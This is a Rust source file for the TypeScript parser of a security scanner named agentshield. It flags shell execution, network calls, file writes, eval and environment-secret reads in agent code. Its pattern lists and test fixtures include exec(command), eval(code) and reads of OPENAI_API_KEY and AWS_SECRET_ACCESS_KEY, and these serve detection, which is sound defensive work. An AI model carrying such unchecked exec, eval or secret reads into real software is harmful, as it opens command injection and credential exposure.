Skip to main content

agentshield/parser/
typescript.rs

1use std::collections::HashSet;
2use std::path::{Path, PathBuf};
3
4use once_cell::sync::Lazy;
5use regex::Regex;
6
7use super::{CallSite, FunctionDef, FunctionParam, LanguageParser, ParsedFile};
8use crate::analysis::cross_file::{SanitizerCategory, sanitizer_category, sanitizer_label};
9use crate::analysis::sensitivity::looks_sensitive_name;
10use crate::error::Result;
11use crate::ir::execution_surface::*;
12use crate::ir::{ArgumentSource, Language, SourceLocation};
13
14pub struct TypeScriptParser;
15
16// ── Dangerous patterns ───────────────────────────────────────────
17
18static EXEC_PATTERNS: Lazy<Vec<&str>> = Lazy::new(|| {
19    vec![
20        "exec",
21        "execSync",
22        "execFile",
23        "execFileSync",
24        "spawn",
25        "spawnSync",
26        "child_process.exec",
27        "child_process.execSync",
28        "child_process.execFile",
29        "child_process.execFileSync",
30        "child_process.spawn",
31        "child_process.spawnSync",
32        "cp.exec",
33        "cp.execSync",
34        "cp.spawn",
35        "cp.spawnSync",
36        "shelljs.exec",
37        "execa",
38        "execaSync",
39    ]
40});
41
42static NETWORK_PATTERNS: Lazy<Vec<&str>> = Lazy::new(|| {
43    vec![
44        "fetch",
45        "http.get",
46        "http.request",
47        "https.get",
48        "https.request",
49        "axios",
50        "axios.get",
51        "axios.post",
52        "axios.put",
53        "axios.patch",
54        "axios.delete",
55        "axios.request",
56        "got",
57        "got.get",
58        "got.post",
59        "got.put",
60        "got.patch",
61        "got.delete",
62        "request",
63        "request.get",
64        "request.post",
65        "superagent.get",
66        "superagent.post",
67        "undici.fetch",
68        "undici.request",
69    ]
70});
71
72static FILE_PATTERNS: Lazy<Vec<&str>> = Lazy::new(|| {
73    vec![
74        "readFile",
75        "readFileSync",
76        "writeFile",
77        "writeFileSync",
78        "appendFile",
79        "appendFileSync",
80        "unlink",
81        "unlinkSync",
82        "readdir",
83        "readdirSync",
84        "fs.readFile",
85        "fs.readFileSync",
86        "fs.writeFile",
87        "fs.writeFileSync",
88        "fs.appendFile",
89        "fs.appendFileSync",
90        "fs.unlink",
91        "fs.unlinkSync",
92        "fs.readdir",
93        "fs.readdirSync",
94        "fs.promises.readFile",
95        "fs.promises.writeFile",
96        "fs.promises.unlink",
97        "fs.promises.readdir",
98        "Deno.readTextFile",
99        "Deno.writeTextFile",
100        "Deno.readFile",
101        "Deno.writeFile",
102        "Bun.file",
103    ]
104});
105
106static DYNAMIC_EXEC_PATTERNS: Lazy<Vec<&str>> = Lazy::new(|| {
107    vec![
108        "eval",
109        "Function",
110        "vm.runInThisContext",
111        "vm.runInNewContext",
112    ]
113});
114
115// Template literal with interpolation: `...${expr}...`
116static TEMPLATE_LITERAL_RE: Lazy<Regex> =
117    Lazy::new(|| Regex::new(r"\$\{[^}]+\}").expect("static regex pattern is valid"));
118
119// Sanitizer assignment: const validPath = await validatePath(x)
120// Captures: (1) variable name, (2) function name (possibly dotted)
121static SANITIZER_ASSIGN_RE: Lazy<Regex> = Lazy::new(|| {
122    Regex::new(r"(?:const|let|var)\s+(\w+)\s*=\s*(?:await\s+)?(\w+(?:\.\w+)*)\s*\(")
123        .expect("static regex pattern is valid")
124});
125
126// ── tree-sitter AST parser ──────────────────────────────────────
127
128#[cfg(feature = "typescript")]
129impl LanguageParser for TypeScriptParser {
130    fn language(&self) -> Language {
131        Language::TypeScript
132    }
133
134    fn parse_file(&self, path: &Path, content: &str) -> Result<ParsedFile> {
135        let mut parser = tree_sitter::Parser::new();
136        let is_tsx = path
137            .extension()
138            .is_some_and(|ext| ext == "tsx" || ext == "jsx");
139
140        let lang = if is_tsx {
141            tree_sitter_typescript::LANGUAGE_TSX
142        } else {
143            tree_sitter_typescript::LANGUAGE_TYPESCRIPT
144        };
145
146        parser
147            .set_language(&lang.into())
148            .map_err(|e| crate::error::ShieldError::Parse {
149                file: path.display().to_string(),
150                message: format!("Failed to load TypeScript grammar: {e}"),
151            })?;
152
153        let tree = parser
154            .parse(content, None)
155            .ok_or_else(|| crate::error::ShieldError::Parse {
156                file: path.display().to_string(),
157                message: "tree-sitter failed to parse TypeScript".into(),
158            })?;
159
160        let file_path = PathBuf::from(path);
161        let source = content.as_bytes();
162        let mut parsed = ParsedFile::default();
163        let mut param_names = HashSet::new();
164
165        // Phase 0: Detect sanitizer assignments via regex on source text
166        detect_sanitizer_assignments(content, &mut parsed.sanitized_vars);
167
168        // Phase 1: Collect function parameters + function defs
169        collect_params(
170            tree.root_node(),
171            source,
172            &file_path,
173            &mut param_names,
174            &mut parsed,
175        );
176
177        // Phase 2: Walk AST for call expressions, call sites, and env accesses
178        walk_node(
179            tree.root_node(),
180            source,
181            &file_path,
182            &param_names,
183            &mut parsed,
184        );
185
186        Ok(parsed)
187    }
188}
189
190/// Recursively collect function/method/arrow parameter names + FunctionDef entries.
191#[cfg(feature = "typescript")]
192fn collect_params(
193    node: tree_sitter::Node,
194    source: &[u8],
195    file_path: &Path,
196    param_names: &mut HashSet<String>,
197    parsed: &mut ParsedFile,
198) {
199    let kind = node.kind();
200
201    // Function declarations, arrow functions, method definitions
202    if kind == "function_declaration"
203        || kind == "function"
204        || kind == "arrow_function"
205        || kind == "method_definition"
206        || kind == "function_expression"
207    {
208        let func_name = extract_function_name(node, source).unwrap_or_default();
209        let mut func_params = Vec::new();
210
211        if let Some(params_node) = node.child_by_field_name("parameters") {
212            for i in 0..params_node.named_child_count() {
213                if let Some(param) = params_node.named_child(i) {
214                    for name in extract_param_names(param, source) {
215                        if name != "this" {
216                            param_names.insert(name.clone());
217                            func_params.push(name.clone());
218                            parsed.function_params.push(FunctionParam {
219                                function_name: func_name.clone(),
220                                param_name: name,
221                                location: loc(file_path, param),
222                            });
223                        }
224                    }
225                }
226            }
227        }
228
229        // Record FunctionDef if we have a name
230        if !func_name.is_empty() {
231            let is_exported = is_exported_node(node, source);
232            parsed.function_defs.push(FunctionDef {
233                name: func_name,
234                params: func_params,
235                is_exported,
236                location: loc(file_path, node),
237            });
238        }
239    }
240
241    // Recurse
242    for i in 0..node.named_child_count() {
243        if let Some(child) = node.named_child(i) {
244            collect_params(child, source, file_path, param_names, parsed);
245        }
246    }
247}
248
249/// Check if a function node is exported (has `export` keyword in ancestors or declaration).
250#[cfg(feature = "typescript")]
251fn is_exported_node(node: tree_sitter::Node, source: &[u8]) -> bool {
252    // Check if the function/arrow is inside an export_statement
253    let mut current = node;
254    while let Some(parent) = current.parent() {
255        let pk = parent.kind();
256        if pk == "export_statement" {
257            return true;
258        }
259        // Stop at top-level statements
260        if pk == "program" || pk == "statement_block" {
261            break;
262        }
263        current = parent;
264    }
265    // Check for `module.exports` pattern — look at the parent variable_declarator
266    // e.g., module.exports.func = function(...) {}
267    if let Some(parent) = node.parent() {
268        let parent_text = node_text(parent, source);
269        if parent_text.contains("module.exports") || parent_text.contains("exports.") {
270            return true;
271        }
272    }
273    false
274}
275
276/// Extract a function's name from its AST node.
277#[cfg(feature = "typescript")]
278fn extract_function_name(node: tree_sitter::Node, source: &[u8]) -> Option<String> {
279    // For function_declaration/method_definition: name field
280    if let Some(name_node) = node.child_by_field_name("name") {
281        return Some(node_text(name_node, source).to_string());
282    }
283
284    // For arrow functions assigned to variables: look at parent
285    // const handler = async (params) => { ... }
286    if node.kind() == "arrow_function" || node.kind() == "function_expression" {
287        if let Some(parent) = node.parent() {
288            if parent.kind() == "variable_declarator" {
289                if let Some(name_node) = parent.child_by_field_name("name") {
290                    return Some(node_text(name_node, source).to_string());
291                }
292            }
293        }
294    }
295
296    None
297}
298
299/// Extract parameter name(s) from a formal_parameters child node.
300/// Returns a Vec because destructured patterns yield multiple names.
301#[cfg(feature = "typescript")]
302fn extract_param_names(node: tree_sitter::Node, source: &[u8]) -> Vec<String> {
303    match node.kind() {
304        // required_parameter or optional_parameter: has "pattern" field
305        "required_parameter" | "optional_parameter" => {
306            if let Some(pattern) = node.child_by_field_name("pattern") {
307                if pattern.kind() == "identifier" {
308                    return vec![node_text(pattern, source).to_string()];
309                }
310                // Destructured object pattern: { url, name } => ["url", "name"]
311                if pattern.kind() == "object_pattern" {
312                    return extract_object_pattern_names(pattern, source);
313                }
314                // Destructured array pattern: [a, b] => ["a", "b"]
315                if pattern.kind() == "array_pattern" {
316                    return extract_array_pattern_names(pattern, source);
317                }
318            }
319            vec![]
320        }
321        // Rest parameter: ...args
322        "rest_pattern" => {
323            for i in 0..node.named_child_count() {
324                if let Some(child) = node.named_child(i) {
325                    if child.kind() == "identifier" {
326                        return vec![node_text(child, source).to_string()];
327                    }
328                }
329            }
330            vec![]
331        }
332        // Plain identifier (JS-style params without type annotations)
333        "identifier" => vec![node_text(node, source).to_string()],
334        _ => vec![],
335    }
336}
337
338/// Extract property names from an object destructuring pattern: { url, name }
339#[cfg(feature = "typescript")]
340fn extract_object_pattern_names(node: tree_sitter::Node, source: &[u8]) -> Vec<String> {
341    let mut names = Vec::new();
342    for i in 0..node.named_child_count() {
343        if let Some(child) = node.named_child(i) {
344            match child.kind() {
345                // shorthand_property_identifier_pattern: { url } => "url"
346                "shorthand_property_identifier_pattern" => {
347                    names.push(node_text(child, source).to_string());
348                }
349                // pair_pattern: { url: myUrl } => "myUrl"
350                "pair_pattern" => {
351                    if let Some(value) = child.child_by_field_name("value") {
352                        if value.kind() == "identifier" {
353                            names.push(node_text(value, source).to_string());
354                        }
355                    }
356                }
357                _ => {}
358            }
359        }
360    }
361    names
362}
363
364/// Extract names from an array destructuring pattern: [a, b]
365#[cfg(feature = "typescript")]
366fn extract_array_pattern_names(node: tree_sitter::Node, source: &[u8]) -> Vec<String> {
367    let mut names = Vec::new();
368    for i in 0..node.named_child_count() {
369        if let Some(child) = node.named_child(i) {
370            if child.kind() == "identifier" {
371                names.push(node_text(child, source).to_string());
372            }
373        }
374    }
375    names
376}
377
378/// Walk the AST looking for call_expression and member_expression (for env access).
379#[cfg(feature = "typescript")]
380fn walk_node(
381    node: tree_sitter::Node,
382    source: &[u8],
383    file_path: &Path,
384    param_names: &HashSet<String>,
385    parsed: &mut ParsedFile,
386) {
387    let kind = node.kind();
388
389    // Check for process.env access: process.env.VAR or process.env["VAR"]
390    if kind == "member_expression" || kind == "subscript_expression" {
391        let text = node_text(node, source);
392        if text.starts_with("process.env") {
393            let var_name = extract_env_var_name(node, source);
394            if let Some(name) = &var_name {
395                let is_sensitive = looks_sensitive_name(name);
396                parsed.env_accesses.push(EnvAccess {
397                    var_name: ArgumentSource::Literal(name.clone()),
398                    is_sensitive,
399                    location: loc(file_path, node),
400                });
401            }
402        }
403    }
404
405    // Check for call_expression
406    if kind == "call_expression" {
407        if let Some(func_node) = node.child_by_field_name("function") {
408            let func_name = resolve_call_name(func_node, source);
409
410            // Classify all arguments (not just the first) for CallSite recording
411            let args_node = node.child_by_field_name("arguments");
412            let all_arg_sources =
413                classify_all_arguments(args_node, source, param_names, &parsed.sanitized_vars);
414
415            // First argument source for existing detector logic
416            let arg_source = all_arg_sources
417                .first()
418                .cloned()
419                .unwrap_or(ArgumentSource::Unknown);
420
421            // Record CallSite for cross-file analysis
422            let caller_name = find_enclosing_function(node, source);
423            parsed.call_sites.push(CallSite {
424                callee: func_name.clone(),
425                arguments: all_arg_sources,
426                caller: caller_name,
427                location: loc(file_path, node),
428            });
429
430            // Command execution
431            if matches_pattern(&func_name, &EXEC_PATTERNS) {
432                parsed.commands.push(CommandInvocation {
433                    function: func_name.clone(),
434                    command_arg: arg_source.clone(),
435                    location: loc(file_path, node),
436                });
437            }
438
439            // Network operations
440            if matches_pattern(&func_name, &NETWORK_PATTERNS) {
441                let full_args_text = node
442                    .child_by_field_name("arguments")
443                    .map(|a| node_text(a, source).to_string())
444                    .unwrap_or_default();
445                let sends_data = func_name.contains("post")
446                    || func_name.contains("put")
447                    || func_name.contains("patch")
448                    || full_args_text.contains("body:")
449                    || full_args_text.contains("data:");
450                let method = if func_name.contains("get") {
451                    Some("GET".into())
452                } else if func_name.contains("post") {
453                    Some("POST".into())
454                } else if func_name.contains("put") {
455                    Some("PUT".into())
456                } else {
457                    None
458                };
459                parsed.network_operations.push(NetworkOperation {
460                    function: func_name.clone(),
461                    url_arg: arg_source.clone(),
462                    method,
463                    sends_data,
464                    location: loc(file_path, node),
465                });
466            }
467
468            // Dynamic execution
469            if DYNAMIC_EXEC_PATTERNS.contains(&func_name.as_str()) {
470                parsed.dynamic_exec.push(DynamicExec {
471                    function: func_name.clone(),
472                    code_arg: arg_source.clone(),
473                    location: loc(file_path, node),
474                });
475            }
476
477            // File operations
478            if matches_pattern(&func_name, &FILE_PATTERNS) {
479                let op_type = if func_name.contains("write") || func_name.contains("append") {
480                    FileOpType::Write
481                } else if func_name.contains("unlink") {
482                    FileOpType::Delete
483                } else if func_name.contains("readdir") {
484                    FileOpType::List
485                } else {
486                    FileOpType::Read
487                };
488                parsed.file_operations.push(FileOperation {
489                    operation: op_type,
490                    path_arg: arg_source.clone(),
491                    location: loc(file_path, node),
492                });
493            }
494        }
495    }
496
497    // Constructors are executable too. Record every `new` expression as a call
498    // site so capability observation cannot be marked complete when an
499    // unmodeled constructor remains in a bound handler. `new Function(...)` is
500    // additionally a modeled dynamic-execution operation.
501    if kind == "new_expression" {
502        if let Some(constructor_node) = node.child_by_field_name("constructor") {
503            let constructor_name = resolve_call_name(constructor_node, source);
504            let args_node = node.child_by_field_name("arguments");
505            let all_arg_sources =
506                classify_all_arguments(args_node, source, param_names, &parsed.sanitized_vars);
507            let code_arg = all_arg_sources
508                .first()
509                .cloned()
510                .unwrap_or(ArgumentSource::Unknown);
511            let location = loc(file_path, node);
512
513            parsed.call_sites.push(CallSite {
514                callee: constructor_name.clone(),
515                arguments: all_arg_sources,
516                caller: find_enclosing_function(node, source),
517                location: location.clone(),
518            });
519
520            if constructor_name == "Function" {
521                parsed.dynamic_exec.push(DynamicExec {
522                    function: constructor_name,
523                    code_arg,
524                    location,
525                });
526            }
527        }
528    }
529
530    // Recurse into children (skip already-processed subtrees)
531    for i in 0..node.named_child_count() {
532        if let Some(child) = node.named_child(i) {
533            walk_node(child, source, file_path, param_names, parsed);
534        }
535    }
536}
537
538/// Classify all arguments in a call expression (tree-sitter path).
539#[cfg(feature = "typescript")]
540fn classify_all_arguments(
541    args_node: Option<tree_sitter::Node>,
542    source: &[u8],
543    param_names: &HashSet<String>,
544    sanitized_vars: &HashSet<String>,
545) -> Vec<ArgumentSource> {
546    let Some(args) = args_node else {
547        return Vec::new();
548    };
549    let mut result = Vec::new();
550    for i in 0..args.named_child_count() {
551        if let Some(arg) = args.named_child(i) {
552            let arg_text = node_text(arg, source).to_string();
553            result.push(classify_argument_with_sanitizers(
554                &arg_text,
555                param_names,
556                sanitized_vars,
557            ));
558        }
559    }
560    result
561}
562
563/// Find the enclosing function name for a node (for caller tracking).
564#[cfg(feature = "typescript")]
565fn find_enclosing_function(node: tree_sitter::Node, source: &[u8]) -> Option<String> {
566    let mut current = node;
567    while let Some(parent) = current.parent() {
568        let pk = parent.kind();
569        if pk == "function_declaration"
570            || pk == "function"
571            || pk == "arrow_function"
572            || pk == "method_definition"
573            || pk == "function_expression"
574        {
575            return extract_function_name(parent, source);
576        }
577        current = parent;
578    }
579    None
580}
581
582/// Resolve a call expression's function name from its AST node.
583/// Handles: identifier, member_expression chains (a.b.c), optional_chain.
584#[cfg(feature = "typescript")]
585fn resolve_call_name(node: tree_sitter::Node, source: &[u8]) -> String {
586    match node.kind() {
587        "identifier" => node_text(node, source).to_string(),
588        "member_expression" | "optional_chain_expression" => {
589            // Flatten the member chain: a.b.c
590            node_text(node, source).replace(['\n', ' '], "").to_string()
591        }
592        _ => node_text(node, source).to_string(),
593    }
594}
595
596/// Extract environment variable name from process.env access.
597#[cfg(feature = "typescript")]
598fn extract_env_var_name(node: tree_sitter::Node, source: &[u8]) -> Option<String> {
599    let text = node_text(node, source);
600    // process.env.VAR_NAME
601    if let Some(rest) = text.strip_prefix("process.env.") {
602        return Some(rest.to_string());
603    }
604    // process.env["VAR_NAME"] or process.env['VAR_NAME']
605    if node.kind() == "subscript_expression" {
606        if let Some(index) = node.child_by_field_name("index") {
607            let idx_text = node_text(index, source);
608            let trimmed = idx_text.trim_matches('"').trim_matches('\'').to_string();
609            if !trimmed.is_empty() {
610                return Some(trimmed);
611            }
612        }
613    }
614    None
615}
616
617/// Get the text of a tree-sitter node.
618#[cfg(feature = "typescript")]
619fn node_text<'a>(node: tree_sitter::Node, source: &'a [u8]) -> &'a str {
620    node.utf8_text(source).unwrap_or("")
621}
622
623/// Build a SourceLocation from a tree-sitter node (1-indexed lines).
624#[cfg(feature = "typescript")]
625fn loc(file: &Path, node: tree_sitter::Node) -> SourceLocation {
626    let start = node.start_position();
627    let end = node.end_position();
628    SourceLocation {
629        file: file.to_path_buf(),
630        line: start.row + 1,
631        column: start.column,
632        end_line: Some(end.row + 1),
633        end_column: Some(end.column),
634    }
635}
636
637// ── Shared sanitizer detection ──────────────────────────────────
638
639/// Detect sanitizer assignments in source code and populate sanitized_vars.
640/// Matches patterns like: `const validPath = await validatePath(x)`
641fn detect_sanitizer_assignments(content: &str, sanitized_vars: &mut HashSet<String>) {
642    for cap in SANITIZER_ASSIGN_RE.captures_iter(content) {
643        let var_name = &cap[1];
644        let func_name = &cap[2];
645        if sanitizer_category(func_name)
646            .is_some_and(|category| !matches!(category, SanitizerCategory::Redaction))
647        {
648            sanitized_vars.insert(var_name.to_string());
649            if let Some(label) = sanitizer_label(func_name) {
650                sanitized_vars.insert(sanitized_var_marker(var_name, &label));
651            }
652        }
653    }
654}
655
656fn sanitized_var_marker(var_name: &str, sanitizer_label: &str) -> String {
657    format!("{var_name}::{sanitizer_label}")
658}
659
660fn sanitized_label_for_var(ident: &str, sanitized_vars: &HashSet<String>) -> Option<String> {
661    for category in [
662        SanitizerCategory::Path,
663        SanitizerCategory::Network,
664        SanitizerCategory::TypeCoercion,
665    ] {
666        let prefix = format!("{}:", category.as_str());
667        if let Some(marker) = sanitized_vars
668            .iter()
669            .find(|value| value.starts_with(&format!("{ident}::{prefix}")))
670        {
671            return marker.split_once("::").map(|(_, label)| label.to_string());
672        }
673    }
674
675    sanitized_vars.contains(ident).then(|| ident.to_string())
676}
677
678/// Classify an argument, considering sanitized variables.
679fn classify_argument_with_sanitizers(
680    arg_text: &str,
681    param_names: &HashSet<String>,
682    sanitized_vars: &HashSet<String>,
683) -> ArgumentSource {
684    let first_arg = arg_text.split(',').next().unwrap_or("").trim();
685
686    if first_arg.is_empty() {
687        return ArgumentSource::Unknown;
688    }
689
690    // Check if this is a sanitized variable (before other checks)
691    let ident = first_arg.split('.').next().unwrap_or(first_arg);
692    let ident = ident.split('[').next().unwrap_or(ident);
693    if let Some(sanitizer) = sanitized_label_for_var(ident, sanitized_vars) {
694        return ArgumentSource::Sanitized { sanitizer };
695    }
696
697    // Delegate to existing classification
698    classify_argument_text(first_arg, param_names)
699}
700
701// ── Regex fallback parser (when typescript feature is disabled) ──
702
703#[cfg(not(feature = "typescript"))]
704static CALL_RE: Lazy<Regex> = Lazy::new(|| {
705    Regex::new(r"(?m)(\w+(?:\.\w+)*)\s*\(([^)]*)\)").expect("static regex pattern is valid")
706});
707
708#[cfg(not(feature = "typescript"))]
709static ENV_ACCESS_RE: Lazy<Regex> = Lazy::new(|| {
710    Regex::new(r#"(?m)process\.env\s*(?:\[\s*["']([^"']+)["']\s*\]|\.([A-Z_][A-Z0-9_]*))"#)
711        .expect("static regex pattern is valid")
712});
713
714#[cfg(not(feature = "typescript"))]
715static FUNC_DEF_RE: Lazy<Regex> = Lazy::new(|| {
716    Regex::new(
717        r"(?m)(?:(?:export\s+)?(?:async\s+)?function\s+(\w+)\s*\(([^)]*)\)|(?:const|let|var)\s+(\w+)\s*=\s*(?:async\s+)?\(([^)]*)\)\s*(?:=>|:\s*\w+\s*=>)|(\w+)\s*\(([^)]*)\)\s*(?::\s*\w+\s*)?\{)"
718    ).expect("static regex pattern is valid")
719});
720
721#[cfg(not(feature = "typescript"))]
722impl LanguageParser for TypeScriptParser {
723    fn language(&self) -> Language {
724        Language::TypeScript
725    }
726
727    fn parse_file(&self, path: &Path, content: &str) -> Result<ParsedFile> {
728        let mut parsed = ParsedFile::default();
729        let file_path = PathBuf::from(path);
730        let mut param_names = HashSet::new();
731
732        // Phase 0: Detect sanitizer assignments
733        detect_sanitizer_assignments(content, &mut parsed.sanitized_vars);
734
735        // Collect function parameter names + FunctionDef entries
736        for cap in FUNC_DEF_RE.captures_iter(content) {
737            let params_str = cap
738                .get(2)
739                .or_else(|| cap.get(4))
740                .or_else(|| cap.get(6))
741                .map(|m| m.as_str())
742                .unwrap_or("");
743            let func_name = cap
744                .get(1)
745                .or_else(|| cap.get(3))
746                .or_else(|| cap.get(5))
747                .map(|m| m.as_str())
748                .unwrap_or("");
749
750            let full_match = cap.get(0).map(|m| m.as_str()).unwrap_or("");
751            let is_exported = full_match.starts_with("export");
752
753            let mut func_params = Vec::new();
754            for param in params_str.split(',') {
755                let param = param.trim();
756                if param.starts_with('{') || param.starts_with('[') {
757                    continue;
758                }
759                let param = param.split(':').next().unwrap_or("").trim();
760                let param = param.split('=').next().unwrap_or("").trim();
761                let param = param.trim_start_matches("...");
762                let param = param.trim_end_matches('?');
763                if !param.is_empty() && param != "this" {
764                    param_names.insert(param.to_string());
765                    func_params.push(param.to_string());
766                    parsed.function_params.push(FunctionParam {
767                        function_name: func_name.to_string(),
768                        param_name: param.to_string(),
769                        location: regex_loc(&file_path, 0),
770                    });
771                }
772            }
773
774            if !func_name.is_empty() {
775                parsed.function_defs.push(FunctionDef {
776                    name: func_name.to_string(),
777                    params: func_params,
778                    is_exported,
779                    location: regex_loc(&file_path, 0),
780                });
781            }
782        }
783
784        // Scan line by line
785        for (line_idx, line) in content.lines().enumerate() {
786            let line_num = line_idx + 1;
787            let trimmed = line.trim();
788
789            if trimmed.starts_with("//") || trimmed.starts_with('*') || trimmed.starts_with("/*") {
790                continue;
791            }
792
793            for cap in ENV_ACCESS_RE.captures_iter(line) {
794                let var_name = cap
795                    .get(1)
796                    .or_else(|| cap.get(2))
797                    .map(|m| m.as_str().to_string())
798                    .unwrap_or_default();
799                let is_sensitive = looks_sensitive_name(&var_name);
800                parsed.env_accesses.push(EnvAccess {
801                    var_name: ArgumentSource::Literal(var_name),
802                    is_sensitive,
803                    location: regex_loc(&file_path, line_num),
804                });
805            }
806
807            for cap in CALL_RE.captures_iter(line) {
808                let func_name = &cap[1];
809                let args_str = &cap[2];
810                let arg_source = classify_argument_with_sanitizers(
811                    args_str,
812                    &param_names,
813                    &parsed.sanitized_vars,
814                );
815
816                // Record CallSite
817                let all_args = args_str
818                    .split(',')
819                    .map(|a| {
820                        classify_argument_with_sanitizers(
821                            a.trim(),
822                            &param_names,
823                            &parsed.sanitized_vars,
824                        )
825                    })
826                    .collect::<Vec<_>>();
827                parsed.call_sites.push(CallSite {
828                    callee: func_name.to_string(),
829                    arguments: all_args,
830                    caller: None, // Regex path can't easily determine enclosing function
831                    location: regex_loc(&file_path, line_num),
832                });
833
834                if matches_pattern(func_name, &EXEC_PATTERNS) {
835                    parsed.commands.push(CommandInvocation {
836                        function: func_name.to_string(),
837                        command_arg: arg_source.clone(),
838                        location: regex_loc(&file_path, line_num),
839                    });
840                }
841
842                if matches_pattern(func_name, &NETWORK_PATTERNS) {
843                    let sends_data = func_name.contains("post")
844                        || func_name.contains("put")
845                        || func_name.contains("patch")
846                        || args_str.contains("body:")
847                        || args_str.contains("data:");
848                    let method = if func_name.contains("get") {
849                        Some("GET".into())
850                    } else if func_name.contains("post") {
851                        Some("POST".into())
852                    } else if func_name.contains("put") {
853                        Some("PUT".into())
854                    } else {
855                        None
856                    };
857                    parsed.network_operations.push(NetworkOperation {
858                        function: func_name.to_string(),
859                        url_arg: arg_source.clone(),
860                        method,
861                        sends_data,
862                        location: regex_loc(&file_path, line_num),
863                    });
864                }
865
866                if DYNAMIC_EXEC_PATTERNS.contains(&func_name) {
867                    parsed.dynamic_exec.push(DynamicExec {
868                        function: func_name.to_string(),
869                        code_arg: arg_source.clone(),
870                        location: regex_loc(&file_path, line_num),
871                    });
872                }
873
874                if matches_pattern(func_name, &FILE_PATTERNS) {
875                    let op_type = if func_name.contains("write") || func_name.contains("append") {
876                        FileOpType::Write
877                    } else if func_name.contains("unlink") {
878                        FileOpType::Delete
879                    } else if func_name.contains("readdir") {
880                        FileOpType::List
881                    } else {
882                        FileOpType::Read
883                    };
884                    parsed.file_operations.push(FileOperation {
885                        operation: op_type,
886                        path_arg: arg_source.clone(),
887                        location: regex_loc(&file_path, line_num),
888                    });
889                }
890            }
891        }
892
893        Ok(parsed)
894    }
895}
896
897#[cfg(not(feature = "typescript"))]
898fn regex_loc(file: &Path, line: usize) -> SourceLocation {
899    SourceLocation {
900        file: file.to_path_buf(),
901        line,
902        column: 0,
903        end_line: None,
904        end_column: None,
905    }
906}
907
908// ── Shared helpers ──────────────────────────────────────────────
909
910/// Check if a function name matches any pattern in the list.
911fn matches_pattern(func_name: &str, patterns: &[&str]) -> bool {
912    patterns
913        .iter()
914        .any(|p| func_name == *p || func_name.ends_with(p))
915}
916
917/// Classify an argument text to determine its source.
918fn classify_argument_text(arg_text: &str, param_names: &HashSet<String>) -> ArgumentSource {
919    let first_arg = arg_text.split(',').next().unwrap_or("").trim();
920
921    if first_arg.is_empty() {
922        return ArgumentSource::Unknown;
923    }
924
925    // String literal (double or single quoted)
926    if (first_arg.starts_with('"') && first_arg.ends_with('"'))
927        || (first_arg.starts_with('\'') && first_arg.ends_with('\''))
928    {
929        if first_arg.len() >= 2 {
930            let val = &first_arg[1..first_arg.len() - 1];
931            return ArgumentSource::Literal(val.to_string());
932        }
933        return ArgumentSource::Literal(String::new());
934    }
935
936    // Template literal with interpolation: `...${var}...`
937    if first_arg.starts_with('`') {
938        if TEMPLATE_LITERAL_RE.is_match(first_arg) {
939            return ArgumentSource::Interpolated;
940        }
941        let val = first_arg.trim_matches('`');
942        return ArgumentSource::Literal(val.to_string());
943    }
944
945    // String concatenation with +
946    if first_arg.contains('+') && (first_arg.contains('"') || first_arg.contains('\'')) {
947        return ArgumentSource::Interpolated;
948    }
949
950    // process.env reference
951    if first_arg.contains("process.env") {
952        return ArgumentSource::EnvVar {
953            name: first_arg.to_string(),
954        };
955    }
956
957    // Known function parameter
958    let ident = first_arg.split('.').next().unwrap_or(first_arg);
959    let ident = ident.split('[').next().unwrap_or(ident);
960    if param_names.contains(ident) {
961        return ArgumentSource::Parameter {
962            name: ident.to_string(),
963        };
964    }
965
966    ArgumentSource::Unknown
967}
968
969#[cfg(test)]
970mod tests {
971    use super::*;
972
973    #[test]
974    fn detects_exec_with_param() {
975        let code = r#"
976import { exec } from "child_process";
977
978function runCommand(command: string) {
979    exec(command);
980}
981"#;
982        let parsed = TypeScriptParser
983            .parse_file(Path::new("test.ts"), code)
984            .unwrap();
985        assert_eq!(parsed.commands.len(), 1);
986        assert!(matches!(
987            parsed.commands[0].command_arg,
988            ArgumentSource::Parameter { .. }
989        ));
990    }
991
992    #[test]
993    fn detects_spawn_with_interpolation() {
994        let code = r#"
995function run(cmd: string) {
996    exec(`${cmd} --flag`);
997}
998"#;
999        let parsed = TypeScriptParser
1000            .parse_file(Path::new("test.ts"), code)
1001            .unwrap();
1002        assert_eq!(parsed.commands.len(), 1);
1003        assert!(matches!(
1004            parsed.commands[0].command_arg,
1005            ArgumentSource::Interpolated
1006        ));
1007    }
1008
1009    #[test]
1010    fn detects_fetch_with_param() {
1011        let code = r#"
1012async function fetchUrl(url: string) {
1013    const resp = await fetch(url);
1014    return resp.json();
1015}
1016"#;
1017        let parsed = TypeScriptParser
1018            .parse_file(Path::new("test.ts"), code)
1019            .unwrap();
1020        assert_eq!(parsed.network_operations.len(), 1);
1021        assert!(matches!(
1022            parsed.network_operations[0].url_arg,
1023            ArgumentSource::Parameter { .. }
1024        ));
1025    }
1026
1027    #[test]
1028    fn safe_literal_url_not_flagged() {
1029        let code = r#"
1030async function getHealth() {
1031    const resp = await fetch("https://api.example.com/health");
1032    return resp.json();
1033}
1034"#;
1035        let parsed = TypeScriptParser
1036            .parse_file(Path::new("test.ts"), code)
1037            .unwrap();
1038        assert_eq!(parsed.network_operations.len(), 1);
1039        assert!(matches!(
1040            parsed.network_operations[0].url_arg,
1041            ArgumentSource::Literal(_)
1042        ));
1043    }
1044
1045    #[test]
1046    fn detects_env_var_access() {
1047        let code = r#"
1048const apiKey = process.env["OPENAI_API_KEY"];
1049const secret = process.env.AWS_SECRET_ACCESS_KEY;
1050"#;
1051        let parsed = TypeScriptParser
1052            .parse_file(Path::new("test.ts"), code)
1053            .unwrap();
1054        assert_eq!(parsed.env_accesses.len(), 2);
1055        assert!(parsed.env_accesses[0].is_sensitive);
1056        assert!(parsed.env_accesses[1].is_sensitive);
1057    }
1058
1059    #[test]
1060    fn detects_eval() {
1061        let code = r#"
1062function execute(code: string) {
1063    eval(code);
1064}
1065"#;
1066        let parsed = TypeScriptParser
1067            .parse_file(Path::new("test.ts"), code)
1068            .unwrap();
1069        assert_eq!(parsed.dynamic_exec.len(), 1);
1070        assert!(matches!(
1071            parsed.dynamic_exec[0].code_arg,
1072            ArgumentSource::Parameter { .. }
1073        ));
1074    }
1075
1076    #[test]
1077    fn detects_file_operations() {
1078        let code = r#"
1079import fs from "fs";
1080
1081function readConfig(path: string) {
1082    return fs.readFileSync(path, "utf-8");
1083}
1084"#;
1085        let parsed = TypeScriptParser
1086            .parse_file(Path::new("test.ts"), code)
1087            .unwrap();
1088        assert_eq!(parsed.file_operations.len(), 1);
1089        assert!(matches!(
1090            parsed.file_operations[0].path_arg,
1091            ArgumentSource::Parameter { .. }
1092        ));
1093    }
1094
